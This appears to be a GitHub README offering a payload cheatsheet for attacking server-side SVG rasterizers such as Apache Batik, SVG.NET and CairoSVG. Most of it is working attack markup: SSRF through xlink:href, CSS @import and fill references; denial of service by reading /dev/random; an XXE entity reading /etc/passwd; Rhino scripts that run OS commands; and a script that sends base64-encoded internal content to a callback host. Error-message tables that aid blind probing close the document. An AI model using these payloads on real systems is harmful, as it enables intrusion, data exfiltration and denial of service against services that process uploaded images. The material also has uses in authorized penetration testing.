svg2raster-cheatsheet
svg2raster-cheatsheet copied to clipboard
A cheatsheet for exploiting server-side SVG rasterization.
SVG rasterization cheatsheet
-
SVG rasterization cheatsheet
-
XLink:Href references
- Documents
- Images
- Fonts
- ICC profiles
-
Stylesheets
- XML stylesheet
-
CSS @import
- CSS infinite loading via @import rule
-
Infinite loading using
/dev/random
-
Tags styles using
fill
attribute
-
Scripting
-
Embedded scripts
- Script tag
- Events
- External scripts
- Code execution
-
Embedded scripts
- XML External Entities
-
Libraries
-
Apache Batik (Java)
- Exceptions
- SVG.NET (.NET)
-
CairoSVG (Python)
- Exceptions
-
Apache Batik (Java)
-
XLink:Href references
XLink:Href references
The specification says that:
This specification defines the XML Linking Language (XLink) Version 1.1, which allows elements to be inserted into XML documents in order to create and describe links between resources. It uses XML syntax to create structures that can describe links similar to the simple unidirectional hyperlinks of today's HTML, as well as more sophisticated links.
In case of SVG files it allows to reference external or embedded resources such as images, XML-based documents, Fonts, ICC profiles. During server-side rasterization it could lead to blind or semi-blind server-side request forgery (SSRF) vulnerabilities. Blind if content validation is missing or exceptions suppressed.
Documents
feImage:
<filter id="externalFeImage" x="0" y="0" width="1" height="1">
<feImage xlink:href="http://internal-resource#id-fragment"/>
</filter>
<rect id="feImage" x="0" y="0" width="100%" height="100%" filter="url(#externalFeImage)" />
altGlyph (altGlyphDef, glyphRef):
<text x="30" y="130">
<altGlyph xlink:href="http://internal-resource#id-fragment"></altGlyph>
</text>
use:
<use xlink:href="http://internal-resource#id-fragment" />
text (tref):
<text fill="none">
<tref xlink:href="http://internal-resource#id-fragment"/>
</text>
Images
image:
<image width="100" height="100" xlink:href="http://internal-resource"></image>
Fonts
<font-face font-family="External Font">
<font-face-src>
<font-face-uri xlink:href="http://internal-resource"/>
</font-face-src>
</font-face>
<text font-family="'External Font'">external font</text>
ICC profiles
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<color-profile name="external-profile" xlink:href="http://internal-resource"></color-profile>
<path fill="rgb(179, 70, 25) icc-color(external-profile, 0.702, 0.2745, 0.098)"/>
</svg>
Stylesheets
XML stylesheet
<?xml-stylesheet type="text/css" href="http://internal-resource" ?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
</svg>
CSS @import
<style type="text/css">
@import url(http://internal-resource);
</style>
CSS infinite loading via @import rule
Some CSS engines don't check for the self-references during @import
rule processing. This could be used for DoS scenarios by triggering infinite CSS loading using specially crafted styles file.
Infinite loading using /dev/random
In some cases you can trick a library into loading data from the infinite stream, causing significant resource consumption on the server side. Although, it won't crash the application, but it's still can be used for DoS scenarios.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<style type="text/css">
@import url(file:///dev/random);
</style>
</svg>
Pseudorandom number generators:
-
/dev/random
-
/dev/urandom
-
/dev/arandom
Tags styles using fill
attribute
rect:
<rect width="100" height="100" fill="url(http://internal-resource)"></rect>
path:
<path fill="url(http://internal-resource)"></path>
Scripting
It worth to check if the library processing javascript, because in some cases it could lead to remote code execution.
Embedded scripts
Script tag
<script type="application/javascript">
alert(1);
</script>
Events
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
onload="alert(1)">
</svg>
External scripts
<script type="text/ecmascript" xlink:href="http://external-resource"></script>
Code execution
Apache Batik offers script execution capabilities from the box. It uses Mozilla Rhino script intepreter and allows to use Java objects and classes. It has pretty weak ClassShutter
and doesn't apply script sandboxing on the framework level. This makes it possible for attackers to achive Java code execution on the target machine. It recommended to use Java Security manager for sandboxing purposes.
It worth mentioning that
batik-rasterizer
application applies security, and restricts access to all critical resources using JavaSecurityManager
.
- Time-based Rhino fingerprinting:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
// Sleep for 30 seconds
importPackage(Packages.java.lang);
Thread.sleep(30000);
</script>
</svg>
- Rhino OS command execution:
Java policy:
permission java.io.FilePermission "<<ALL FILES>>", "read, execute";
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
importPackage(Packages.java.lang);
Runtime.getRuntime().exec("open -a Calculator");
</script>
</svg>
- Server-Side Request Forgery:
Java policy:
permission java.net.SocketPermission "*", "listen, connect, resolve, accept";
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
importPackage(Packages.java.net);
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.org.apache.commons.io);
var targetC = new java.net.URL("http://target-internal-host").openConnection();
var targetContent = IOUtils.toString(targetC.getContent());
var encodedContent = Base64.getUrlEncoder().encodeToString(new java.lang.String(targetContent).getBytes());
var callbackC = new java.net.URL("http://callback-host/callback?resp="+encodedContent).openConnection();
callbackC.getContent();
</script>
</svg>
It is still possible to get some impact from sandboxed script execution - you can get details about application internals (except classes from prohibited namespaces), such as class names, their methods and fields by using reflection mechanism.
Prohibited classes:
-
org.mozilla.javascript.*
-
org.apache.batik.script.*
-
org.apache.batik.apps.*
-
org.apache.batik.bridge.ScriptingEnvironment.*
-
org.apache.batik.bridge.BaseScriptingEnvironment.*
- Fingerprinting available classes:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript">
<![CDATA[
importPackage(Packages.java.lang)
var cn = Class.forName("org.apache.batik.script.ImportInfo");
// Get class info
var cnConstructors = cn.getConstructors();
for (var i=0; i<cnConstructors.length; i++){
System.out.println(cnConstructors[i]);
}
var cnMethods = cn.getMethods();
for (var i=0; i<cnMethods.length; i++){
System.out.println(cnMethods[i]);
}
var cnFields = cn.getFields();
for (var i=0; i<cnFields.length; i++){
System.out.println(cnFields[i]);
}
// Get classes in the package
var classes = cn.getClasses();
System.out.println("Classes:");
for (var i=0; i<classes.length; i++){
System.out.println(classes[i].getCanonicalName());
}
]]>
</script>
</svg>
XML External Entities
Old but gold. Most of the libraries don't allow to use XML external entities or DTD, however, this option could be enabled by developers. Defenetly worth to check.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>
&xxe;
</text>
</svg>
Libraries
Apache Batik (Java)
- Repository: https://github.com/apache/xmlgraphics-batik
- User Agent:
Batik / {version}
External Resource | Config |
---|---|
Images & Documents |
Supported schemas:
Related CVEs: |
Fonts |
Supported schemas:
|
CSS |
Supported schemas:
|
ICC profiles |
Supported schemas:
|
Embedded/External Scripts |
|
External entities & DTD |
Related CVEs: |
Exceptions
Name | Message |
---|---|
java.io.IOException | Server returned HTTP response code: {StatusCode} for URL |
java.io.IOException | No such file or directory |
java.net.SocketException | Unexpected end of file from server |
java.net.ConnectException | Connection refused (Connection refused) |
javax.xml.stream.XMLStreamException | Content is not allowed in prolog. |
org.xml.sax.SAXParseException | The element type "{tag_name}" must be terminated by the matching end-tag "{tag_name}" |
SVG.NET (.NET)
Repository: https://github.com/svg-net/SVG
External Resource | Config (Enabled) |
---|---|
Documents |
Supported schemas:
|
Images |
Supported schemas:
|
Fonts |
Supported schemas:
|
CSS | - |
ICC profiles | - |
External DTD / Entities |
|
Ecmascript processing | - |
CairoSVG (Python)
- Repository: https://github.com/Kozea/CairoSVG
- User-Agent:
CairoSVG {version}
External Resource | Config (Enabled) |
---|---|
Documents |
Supported schemas:
|
Images |
Supported schemas:
|
Fonts | - |
CSS |
Supported schemas:
|
ICC profiles | - |
External DTD / Entities | - |
Ecmascript processing | - |
Exceptions
Name | Message |
---|---|
PIL.UnidentifiedImageError | cannot identify image file |
urllib.error.URLError | urlopen error ftp error: TimeoutError(60, 'Operation timed out') |
urllib.error.URLError | urlopen error [Errno 2] No such file or directory: '{filename}' |
urllib.error.URLError | urlopen error [Errno 61] Connection refused |
xml.etree.ElementTree.ParseError | syntax error: line 1, column 0 |